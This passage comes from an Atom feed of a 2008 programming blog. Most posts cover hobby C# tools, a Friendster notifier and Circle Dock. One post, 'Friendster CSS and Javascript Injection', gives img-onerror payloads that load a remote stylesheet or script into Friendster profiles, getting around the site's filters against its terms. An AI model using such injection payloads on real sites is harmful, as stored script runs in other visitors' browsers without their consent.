width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-69177322319448387</id><published>2008-11-26T11:29:00.001+08:00</published><updated>2008-11-26T11:29:17.119+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='RSS'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Bco Rss Feed For Specific Threads - (my Dream Came True)</title><content type='html'>&lt;p&gt;Just this morning, I deicded to create an RSS for BCO. Now finally, dream came true na daw. Written in C# uyet.    &lt;br /&gt;BCO RSS Feed for specific threads - Means you can have an RSS feed on any BCO threads.     &lt;br /&gt;    &lt;br /&gt;Sample RSS in Coders Cafe:     &lt;br /&gt;&lt;a href="http://nullstring.somee.com/rss.ashx?th &amp;hellip; .php?id=26"&gt;http://nullstring.somee.com/rss.ashx?th &amp;#8230; .php?id=26&lt;/a&gt;     &lt;br /&gt;    &lt;br /&gt;Another example is Highland Geek Lounge - URL: http://www.baguiocityonline.com/daforum/viewforum.php?id=12     &lt;br /&gt;1. Now get that URL and&amp;#160; include it in &lt;strong&gt;thread_url=&lt;/strong&gt;     &lt;br /&gt;Example:     &lt;br /&gt;[url]http://nullstring.somee.com/rss.ashx?&lt;strong&gt;thread_url=&lt;/strong&gt;http://www.baguiocityonline.com/daforum/viewforum.php?id=12     &lt;br /&gt;    &lt;br /&gt;Screenshot for &lt;strong&gt;Coders Cafe&lt;/strong&gt;:     &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_kFNcLq9qQIg/SSzCUI5KVPI/AAAAAAAAAYo/0w44hNhYW0g/s1600-h/rss%20preview%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; margin: 0px 10px 10px 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="rss preview" src="http://lh5.ggpht.com/_kFNcLq9qQIg/SSzCYsv-UEI/AAAAAAAAAYs/ZqCa3Vb43rs/rss%20preview_thumb%5B1%5D.jpg?imgmax=800" width="644" height="412" /&gt;&lt;/a&gt;     &lt;br /&gt;    &lt;br /&gt;and for example, I want to implement this on any RSS Feed softwares or gadgets ..&lt;em&gt;      &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SSzCcm8_ygI/AAAAAAAAAYw/lfhv-_KOeWQ/s1600-h/sidebar%20gadget%20rss%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; margin: 0px 10px 10px 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="sidebar gadget rss" src="http://lh6.ggpht.com/_kFNcLq9qQIg/SSzCiVxYBaI/AAAAAAAAAY0/tvx6uhWTvWY/sidebar%20gadget%20rss_thumb%5B1%5D.jpg?imgmax=800" width="609" height="368" /&gt;&lt;/a&gt;&amp;#160; &lt;br /&gt;&lt;em&gt;I made a screen shot on my google gadget&lt;/em&gt;&lt;/em&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-69177322319448387?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/69177322319448387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=69177322319448387' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/69177322319448387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/69177322319448387'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/11/bco-rss-feed-for-specific-threads-my.html' title='Bco Rss Feed For Specific Threads - (my Dream Came True)'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/SSzCYsv-UEI/AAAAAAAAAYs/ZqCa3Vb43rs/s72-c/rss%20preview_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-8892217788482249652</id><published>2008-11-23T14:18:00.001+08:00</published><updated>2008-11-23T14:18:00.808+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Friendster Notify - Desktop Version'/><title type='text'>Friendster Notify - Desktop Version (update: Nov. 23, 2008)</title><content type='html'>&lt;p&gt;Another result of &amp;quot;walang magawa&amp;quot;   &lt;br /&gt;Just an update today, since its sunday and before I leave..    &lt;br /&gt;    &lt;br /&gt;&lt;strong&gt;Bug Fix:     &lt;br /&gt;&lt;/strong&gt;Fixed some bugs on separate threads, while communicating on main thread controls.    &lt;br /&gt;    &lt;br /&gt;&lt;strong&gt;New:&lt;/strong&gt;    &lt;br /&gt;Added notification popup window - Now you have something that realy &amp;quot;Notifies&amp;quot; you!    &lt;br /&gt;    &lt;br /&gt;Screen shot update: (sorry I have to capture the whole screen)    &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/SSj1DjH1CKI/AAAAAAAAAYE/rh9AYfxma78/s1600-h/update%20-%20nov%2023%202008%5B5%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 0px 10px; border-top: 0px; border-right: 0px" border="0" alt="update - nov 23 2008" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SSj1ROD6VGI/AAAAAAAAAYI/EfxZNbUAgPg/update%20-%20nov%2023%202008_thumb%5B3%5D.jpg?imgmax=800" width="644" height="404" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-8892217788482249652?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/8892217788482249652/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=8892217788482249652' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8892217788482249652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8892217788482249652'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/11/friendster-notify-desktop-version_23.html' title='Friendster Notify - Desktop Version (update: Nov. 23, 2008)'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_kFNcLq9qQIg/SSj1ROD6VGI/AAAAAAAAAYI/EfxZNbUAgPg/s72-c/update%20-%20nov%2023%202008_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-899001205146357527</id><published>2008-11-19T09:54:00.001+08:00</published><updated>2008-11-19T09:54:34.261+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Friendster Notify - Desktop Version'/><title type='text'>Friendster Notify - Desktop Version (update: Nov 19, 2008 - 09:46am)</title><content type='html'>&lt;p&gt;Another update before I start my work at our company, but before that, I have to drink coke. hehe.&lt;/p&gt;  &lt;p&gt;&lt;u&gt;&lt;strong&gt;&lt;u&gt;Bug Fix:&lt;/u&gt;&lt;/strong&gt;      &lt;br /&gt;&lt;/u&gt;Character Encoding - Special characters displayed as &amp;quot;?&amp;quot;    &lt;br /&gt;- there was a encoding problem in my &lt;strong&gt;WebLibrary&lt;/strong&gt; class which was the response converted to &lt;strong&gt;&lt;a target="_blank" href="http://en.wikipedia.org/wiki/ASCII"&gt;ASCII Encdoing&lt;/a&gt;&lt;/strong&gt; instread of &lt;strong&gt;&lt;a target="_blank" href="http://en.wikipedia.org/wiki/UTF-8"&gt;UTF-8 Encdoing&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;New screenshot   &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SSNxsvfEQRI/AAAAAAAAAW0/joo8rE99DyQ/s1600-h/update%20-%20nov%2019%202008%20-%20946am%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" border="0" alt="update - nov 19 2008 - 946am" src="http://lh4.ggpht.com/_kFNcLq9qQIg/SSNx0Cj4z3I/AAAAAAAAAW4/UadMTeLQE6c/update%20-%20nov%2019%202008%20-%20946am_thumb%5B2%5D.jpg?imgmax=800" width="510" height="520" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-899001205146357527?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/899001205146357527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=899001205146357527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/899001205146357527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/899001205146357527'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/11/friendster-notify-desktop-version_7038.html' title='Friendster Notify - Desktop Version (update: Nov 19, 2008 - 09:46am)'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_kFNcLq9qQIg/SSNx0Cj4z3I/AAAAAAAAAW4/UadMTeLQE6c/s72-c/update%20-%20nov%2019%202008%20-%20946am_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-3963927765972731303</id><published>2008-11-19T03:49:00.001+08:00</published><updated>2008-11-19T03:49:31.950+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Friendster Notify - Desktop Version'/><title type='text'>Friendster Notify - Desktop Version (update: Nov 19, 2008)</title><content type='html'>&lt;p&gt;Ok, I made an huge update on this before I go to sleep.&lt;/p&gt;  &lt;p&gt;It's now working on multi-thread so it won't freeze the application.   &lt;br /&gt;And I kind of hate to use the Vista icons, and I can't find any iCandy or Flat Icons to fit on the App UI. So if you guys have one, please share?&lt;/p&gt;  &lt;p&gt;Here's a new screen shot.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/SSMcK7s5KPI/AAAAAAAAAWs/Dai39px_XsI/s1600-h/update%20-%20nov%2019%202008%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" border="0" alt="update - nov 19 2008" src="http://lh5.ggpht.com/_kFNcLq9qQIg/SSMcSsALYWI/AAAAAAAAAWw/0YVYB49KYmA/update%20-%20nov%2019%202008_thumb%5B2%5D.jpg?imgmax=800" width="589" height="520" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-3963927765972731303?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/3963927765972731303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=3963927765972731303' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3963927765972731303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3963927765972731303'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/11/friendster-notify-desktop-version_19.html' title='Friendster Notify - Desktop Version (update: Nov 19, 2008)'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/SSMcSsALYWI/AAAAAAAAAWw/0YVYB49KYmA/s72-c/update%20-%20nov%2019%202008_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-397223050950393954</id><published>2008-11-17T18:58:00.001+08:00</published><updated>2008-11-19T03:43:35.676+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Friendster Notify - Desktop Version'/><title type='text'>Friendster Notify - Desktop Version</title><content type='html'>&lt;p&gt;I kind of like the way &lt;a target="_blank" href="http://en.netlog.com/go/downloads"&gt;Netlog24&lt;/a&gt; (or the Netlog notification for desktop) notify me when there's an activity change in my profile, uhm .. New Message, Comments, and Friends Logs.     &lt;br /&gt;    &lt;br /&gt;So now I decided to create my own &lt;strong&gt;Friendster - Desktop Version&lt;/strong&gt;.&amp;#160; &lt;br /&gt;&lt;strong&gt;Friendster Framework Core&lt;/strong&gt; is written in C# .NET 3.5 and I used the Friendster Mobile version to minimize the response. I was thinking of implementing their V1 or the OpenSocial, but not sure if that'll work in desktop.     &lt;br /&gt;    &lt;br /&gt;Here's a working application sample screenshot in Console Mode but of course this'll ported to neat looking desktop application     &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SSFOVtu-bvI/AAAAAAAAAWk/ry8Pb9JHAGU/s1600-h/Friendster%20Notifier%20-%20ss%5B5%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Friendster Notifier - ss" src="http://lh4.ggpht.com/_kFNcLq9qQIg/SSFObD7ST1I/AAAAAAAAAWo/Kdh5XsxPHsE/Friendster%20Notifier%20-%20ss_thumb%5B3%5D.jpg?imgmax=800" width="688" height="354" /&gt;&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;That refreshes every 1 minute :)&lt;/strong&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-397223050950393954?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/397223050950393954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=397223050950393954' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/397223050950393954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/397223050950393954'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/11/friendster-notify-desktop-version.html' title='Friendster Notify - Desktop Version'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_kFNcLq9qQIg/SSFObD7ST1I/AAAAAAAAAWo/Kdh5XsxPHsE/s72-c/Friendster%20Notifier%20-%20ss_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-3695236902632214136</id><published>2008-10-28T01:14:00.001+08:00</published><updated>2008-10-28T01:14:48.596+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='research'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='Javscript'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Friendster CSS and Javascript Injection</title><content type='html'>&lt;p&gt;Ever wondered how to expand your design in Friendster? Animations, Alerts, etc .. Well I made a little research on how to do that and I want to give thanks to &lt;a target="_blank" href="http://www.FriendsterJam.com"&gt;FriendsterJam.com&lt;/a&gt; though am not sure if they're the one who discovered this. But anyway, &lt;a target="_blank" href="http://www.friendster.com/"&gt;Friendster Inc.&lt;/a&gt; tries to block and limit the design on profiles maybe just to minimize some threats for end users(YOU) but we want more, don't we?! But since this is against &lt;a title="Friendster Terms of Service" target="_blank" href="http://www.friendster.com/info/tos.php"&gt;Friendster Rules&lt;/a&gt; .. I say what ever harm you made on someone's computer, don't blame me on your illegal actions.     &lt;br /&gt;    &lt;br /&gt;So let's just start. CSS and Javascript injection made possible by inserting an IMG tag on Media Box&lt;strong&gt;&lt;u&gt;&lt;font color="#ff0000" size="1"&gt;1&lt;/font&gt;&lt;/u&gt;&lt;/strong&gt;. Now why IMG tag? Am not sure yet but the important fact is it can raise an event called ONERROR after setting an invalid or empty string value on SRC attribute.     &lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;       &lt;br /&gt;&lt;/font&gt;pattern example:       &lt;br /&gt;&lt;/strong&gt;&lt;font size="2" face="Courier New"&gt;&amp;lt;img width=&amp;quot;0&amp;quot; height=&amp;quot;0&amp;quot; src=&amp;quot;&amp;quot; onerror=&amp;quot;&amp;lt;your DOM script here&amp;gt;&amp;quot;&amp;gt;&lt;/font&gt;     &lt;br /&gt;    &lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;CSS Injection&lt;/font&gt;&lt;/strong&gt;     &lt;br /&gt;&lt;strong&gt;Example: &lt;/strong&gt;    &lt;br /&gt;&lt;font size="2" face="Courier New"&gt;&amp;lt;img width=&amp;quot;0&amp;quot; height=&amp;quot;0&amp;quot; src=&amp;quot;&amp;quot; onerror=&amp;quot;var css = document.createElement('link');css.setAttribute('rel','stylesheet');css.setAttribute('href', 'http://www.domain.com/res/your_css.css');document.getElementsByTagName('head')[0].appendChild(css);&amp;quot;&amp;gt;&lt;/font&gt;     &lt;br /&gt;    &lt;br /&gt;&lt;strong&gt;The DOM SCRIPT inside OnError event:      &lt;br /&gt;&lt;/strong&gt;&lt;font size="2" face="Courier New"&gt;var css = document.createElement('link');      &lt;br /&gt;css.setAttribute('rel', 'stylesheet');       &lt;br /&gt;css.setAttribute('href', 'http://www.domain.com/res/your_css.css'&lt;/font&gt;&lt;a href="http://h1.ripway.com/ghex900/emolovers.css');"&gt;&lt;font size="2" face="Courier New"&gt;);&lt;/font&gt;&lt;/a&gt;     &lt;br /&gt;&lt;font size="2" face="Courier New"&gt;document.getElementsByTagName('head')[0].appendChild(css);&lt;/font&gt;     &lt;br /&gt;    &lt;br /&gt;&lt;font size="3"&gt;&lt;strong&gt;Javascript Injection&lt;/strong&gt;&lt;/font&gt;     &lt;br /&gt;&lt;strong&gt;Example:&lt;/strong&gt;     &lt;br /&gt;&lt;font size="2" face="Courier New"&gt;&amp;lt;img width=&amp;quot;0&amp;quot; height=&amp;quot;0&amp;quot; src=&amp;quot;&amp;quot; onerror=&amp;quot;var thisDOM = document.createElement('script'); thisDOM.src='http://www.domain.com/res/your_javascript.js'; navBg.appendChild(thisDOM);&amp;quot;&amp;gt;&lt;/font&gt;     &lt;br /&gt;    &lt;br /&gt;&lt;strong&gt;The DOM SCRIPT inside OnError event:&lt;/strong&gt;     &lt;br /&gt;&lt;font size="2" face="Courier New"&gt;var thisDOM = document.createElement('script');      &lt;br /&gt;thisDOM.src='http://www.domain.com/res/your_javascript.js';       &lt;br /&gt;navBg.appendChild(thisDOM);&lt;/font&gt;     &lt;br /&gt;    &lt;br /&gt;And that's pretty much it! And also, I like to thanks FireBUG for revealing the trick used in FriendsterJam.com. They used to hide the actual JS code by using an .SWF extension instead of .JS     &lt;br /&gt;    &lt;br /&gt;1. &lt;strong&gt;Media Box&lt;/strong&gt;     &lt;br /&gt;&lt;a href="http://lh6.ggpht.com/jayzonr/SQX2-pVeaDI/AAAAAAAAAVg/eDdWtpyoM8w/s1600-h/1%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="1" src="http://lh4.ggpht.com/jayzonr/SQX3BjqcShI/AAAAAAAAAVk/DR1auQuRIy8/1_thumb%5B1%5D.jpg?imgmax=800" width="351" height="217" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-3695236902632214136?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/3695236902632214136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=3695236902632214136' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3695236902632214136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3695236902632214136'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/10/friendster-css-and-javascript-injection.html' title='Friendster CSS and Javascript Injection'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/jayzonr/SQX3BjqcShI/AAAAAAAAAVk/DR1auQuRIy8/s72-c/1_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-8648040735234517371</id><published>2008-10-09T14:17:00.001+08:00</published><updated>2008-10-10T08:33:18.688+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Others'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Circle Dock - Open Source - Written in C#</title><content type='html'>&lt;p&gt;&lt;strong&gt;It's written in C# :D how cool is that!&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://circledock.wikidot.com/local--files/start/DarkBackgroundScreenshot.jpg"&gt;&lt;img alt="DarkBackgroundScreenshot.jpg" src="http://circledock.wikidot.com/local--resized-images/start/DarkBackgroundScreenshot.jpg/small.jpg" /&gt;&lt;/a&gt;&lt;a href="http://circledock.wikidot.com/local--files/start/AngleWingsScreenshot.jpg"&gt;&lt;img alt="AngleWingsScreenshot.jpg" src="http://circledock.wikidot.com/local--resized-images/start/AngleWingsScreenshot.jpg/small.jpg" /&gt;&lt;/a&gt;&lt;a href="http://circledock.wikidot.com/local--files/start/DoubleRingsEngraving.PNG"&gt;&lt;img alt="DoubleRingsEngraving.PNG" src="http://circledock.wikidot.com/local--resized-images/start/DoubleRingsEngraving.PNG/small.jpg" /&gt;&lt;/a&gt;&lt;a href="http://circledock.wikidot.com/local--files/start/ThickRingsScreenshot.jpg"&gt;&lt;img alt="ThickRingsScreenshot.jpg" src="http://circledock.wikidot.com/local--resized-images/start/ThickRingsScreenshot.jpg/small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://circledock.wikidot.com/local--files/start/RedWings.jpg"&gt;&lt;img alt="RedWings.jpg" src="http://circledock.wikidot.com/local--resized-images/start/RedWings.jpg/small.jpg" /&gt;&lt;/a&gt;&lt;a href="http://circledock.wikidot.com/local--files/start/DoubleRing02.jpg"&gt;&lt;img alt="DoubleRing02.jpg" src="http://circledock.wikidot.com/local--resized-images/start/DoubleRing02.jpg/small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;h4&gt;&amp;#160;&lt;/h4&gt;  &lt;p&gt;&lt;strong&gt;&lt;a target="_blank" href="http://circledock.wikidot.com/"&gt;Visit Circle Dock page&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;h4&gt;What Circle Dock 0.9.2 Alpha 8 Allows You to Do:&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Launch your programs from a circular dock. &lt;/li&gt;    &lt;li&gt;Drag and drop your files, folders, and shortcuts onto a circular dock that you can resize. &lt;/li&gt;    &lt;li&gt;Rotate the dock with either your mouse wheel or the keyboard arrow keys. &lt;/li&gt;    &lt;li&gt;Change the image shown for the icons and change the skins (compatible with icons and skins for Rocket Dock, Object Dock, etc.) &lt;/li&gt;    &lt;li&gt;The dock appears where your mouse is by pressing a hotkey (default is F1) or your middle mouse button. &lt;/li&gt;    &lt;li&gt;Tested on computers with multiple monitors, Windows XP/Vista, 32-bit &amp;amp; 64-bit, and requires only .Net Framework 2.0. &lt;/li&gt;    &lt;li&gt;Automatically works on all Windows Vista computers and most Windows XP computers. &lt;/li&gt;    &lt;li&gt;A new settings panel that allows you to customize many options. It updates your dock as you make changes. See it change in real time! No need to press an OK button. &lt;/li&gt;    &lt;li&gt;Multi-language capable. Just translate the English.ini file to the language of your choice. &lt;/li&gt;    &lt;li&gt;Change the image used for the dock icons with the easiest method out there: Just set the program to &amp;quot;Icon Replacement Mode&amp;quot; in the right-click menu of the centre icon and you can change all the icon images by just dragging and dropping new PNG images onto them! Huge time saver when you are customizing your dock! &lt;/li&gt;    &lt;li&gt;You can now toggle the visibility of the dock by moving your mouse to any edge of your screen. By default, the left and right edges are used for toggling. No need to press a button! &lt;/li&gt;    &lt;li&gt;Rotate the dock with your mouse wheel or arrow keys (customizable). &lt;/li&gt;    &lt;li&gt;Click sensitivity adjustment for tablet users. &lt;/li&gt;    &lt;li&gt;Reorder the dock items by draging and dropping them over each other. &lt;/li&gt;    &lt;li&gt;Organize the dock items using dock folders. &lt;/li&gt;    &lt;li&gt;By default, clicking on the centre button does not open the start menu. You can enable this in the settings panel. &lt;/li&gt;    &lt;li&gt;Uses the default high resolution icons in Windows Vista. &lt;/li&gt;    &lt;li&gt;New easy method of upgrading from older versions. &lt;/li&gt; &lt;/ul&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;New Kiosk Version of the Circle Dock exe file.&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Many bug fixes and some new features have been added for Alpha 8. See the &lt;a href="http://circledock.wikidot.com/change-log"&gt;Change Log&lt;/a&gt;&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Added the ability to run multiple docks at the same time by allowing multiple Circle Dock instances to run from separate folders.&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Has the ability to run from a USB key on computers with the .Net Framework 2.0 or above.&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Includes French, English, Portuguese, Russian, Italian, Dutch, Hungarian, Indonesian, Serbian, Croatian and Chinese language files.&lt;/strong&gt; (Note: Alpha 8.1 is released and now has an up to date language file for each of the languages.) &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;More animation and smoother performance are being looked at for Alpha 9.&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Ability to run docklets, live synchronization of the dock icons, and more will be added later on.&lt;/strong&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;ul&gt;   &lt;li&gt;Please provide feedback, bug 